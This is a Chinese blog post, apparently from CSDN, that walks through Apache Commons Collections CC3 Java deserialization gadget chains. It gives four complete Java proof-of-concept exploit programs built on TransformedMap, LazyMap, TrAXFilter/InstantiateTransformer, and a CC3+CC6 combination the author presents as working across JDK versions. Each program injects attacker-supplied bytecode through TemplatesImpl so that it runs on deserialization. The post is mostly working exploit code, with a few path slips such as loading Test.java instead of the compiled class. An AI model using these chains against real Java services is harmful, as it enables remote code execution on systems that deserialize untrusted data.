java反序列化之cc3链的多种情况

java反序列化之cc3链的多种情况

前言

因为前面以及分析过cc2和TemplatesImpl类加载了,所以这里主要是与前面的知识来进行一个结合
我们知道利用TemplatesImpl类的核心就是触发newtransformer方法

cc3结合cc1

TransformerMap类

我们知道cc1的invokertansfromer类是有类型反射的作用的,可以触发类的方法
学过TransformerMap类的肯定已经清楚了
这里我只大概描述一下过程

AnnotationInvovationHandler.readobject方法–>membervalue.setvalue()–MapEntry.setvalue()–>Transfromermap.checkvalue()–>chaintransformermap.transfrom–>TemplatesImpl.newtransfrom

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;




public class CC3_T {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
    TemplatesImpl templates = new TemplatesImpl();
    Class clazz = templates.getClass();
    Field name = clazz.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"ljl");
    Field bycode = clazz.getDeclaredField("_bytecodes");
    bycode.setAccessible(true);
    byte[] code =Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.java"));
    byte[] [] codes={code};
    bycode.set(templates,codes);

    Field tfactory =clazz.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);

    HashMap hash =new HashMap();
    hash.put("value","n");
    Map<Object,Object> transformermap = TransformedMap.decorate(hash,null,chain);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object o = constructor.newInstance(Target.class, transformermap);

    serialize(o);
    unserialize("1.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }
}

LazyMap类

package org.example;



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerFactory;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC3_L {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException, InvocationTargetException {
        TemplatesImpl templates = new TemplatesImpl();
        Class clazz = templates.getClass();
        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "ljl");

        Field byField = clazz.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.class"));
        byte[][] codes = {code};
        byField.set(templates, codes); //传进去恶意字节码文件

        Field tfactory = clazz.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        HashMap map = new HashMap();
        Map<Object, Object> lazymap = LazyMap.decorate(map, chain);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, lazymap);

        Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
        //传入代理类

        Object o = constructor.newInstance(Override.class, proxy);

        serialize(o);
        unserialize("1.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream os = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        os.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        ois.readObject();
    }
}

绕过invokertransfromer

我们发现上面使用的链子用到了invoke这个类,为什么会用到它?因为我们需要触发我们的newtransfrom这个方法

有没有别的方法触发呢?
还真有
TrAXFilter类中

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

wc发现只需要实例化它,我们就只能调用templates.newTransformer();的方法,但是遗憾的是

public class TrAXFilter extends XMLFilterImpl 

它并没有继承我们的serilize,难受
但是作者很牛逼,找到了一个类
InstantiateTransformer,看到它的transform方法,发现可以实例化一个类

public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

那我们就可以正好实例化我们的TrAXFilter类
下面是代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_L_no_invoke {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates= new TemplatesImpl();
        setFiledValue(templates,"_name","ljl" );
        byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.class"));
        byte[][] codes = {code};
        setFiledValue(templates,"_bytecodes",codes);
        setFiledValue(templates,"_tfactory",new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer =new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),  // 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chain);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("1.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

    public static void setFiledValue(Object object,String name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = object.getClass();
        Field field = clazz.getDeclaredField(name);
        field.setAccessible(true);
        field.set(object,filed_value);
    }

}

CC3配合CC6实现通杀

上面我们不管怎么绕过,但是我们都会有JDK<=8u71的限制,当然配合CC6是最好的选择

这里简单讲讲CC6是怎么样的

Hashset.readobject—hashmap.put–hashmap.hash—Tiedmapentry.hashcode—Tiedmapentry.getvalue—LazyMap.get—ChainTransform.transform—InvokerTransfrom.transfrom…

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3_CC6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
        byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.java"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{code});

        Transformer[] fakeformers = {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        //先传入人畜无害的fakeformers避免put时就弹计算器
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "test");
        lazyMap.remove("xxx");

        //反射修改chainedTransformer中的iTransformers为transforms
//       Class clazz = chainedTransformer.getClass();
//       Field field = clazz.getDeclaredField("iTransformers");
//       field.setAccessible(true);
//       field.set(chainedTransformer, transformers);
        setFieldValue(chainedTransformer,"iTransformers",transformers);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field fieldName = clazz.getDeclaredField(field);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
}
  • 17
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值